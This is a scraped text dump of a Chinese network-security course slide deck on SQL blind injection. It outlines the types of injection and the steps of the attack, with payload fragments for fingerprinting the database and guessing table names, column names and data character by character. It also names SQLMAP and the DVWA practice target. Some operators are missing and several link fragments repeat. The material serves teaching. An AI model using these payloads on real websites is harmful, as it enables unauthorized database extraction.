网络渗透与防护 课中学习 SQL注入-盲注-ppt(PPT).pptxVIP

知识点：SQL盲注 SQL注入的分类 SQL盲注基础知识 SQL盲注前提条件 SQL盲注注入过程 SQL盲注找到注入点和参数类型 SQL盲注判断数据库类型and version()0and length(user())0and exists (select * from sysobjects) SQL盲注准备表名字典、列名字典得到表名、列名and (select count(*) from 猜解表名)0或者and exists (select * from 猜解表名)and (select count(猜解列名) from 表名)0或者and select exists (select count(猜解列名) from 表名 SQL盲注URL后面添加：and (select top 1 len(列名) from 表名 )猜测的长度and (select length(列名) from 表名 limit(0,1))猜测的长度得到具体数据URL后面添加：and (select top 1 asc(mid(列名, 0, 1)) from 表名)猜测的ascii码and (select ascii(substr(列名, 0, 1)) from 表名 limit(0, 1))猜测的ascii码 GET型SQL盲注应用举例利用SQLMAP实现目标网站的盲注/wt7315/1891458/mysql-injection-error-based-duplicate-entry//zwell032/article/detailss/blog_5c92dd1f0102vjfg.html DVWA联合查询注入/zwell032/article/detailss/blog_5c92dd1f0102vjfg.html DVWA联合查询注入/zwell032/article/detailss/blog_5c92dd1f0102vjfg.html DVWA联合查询注入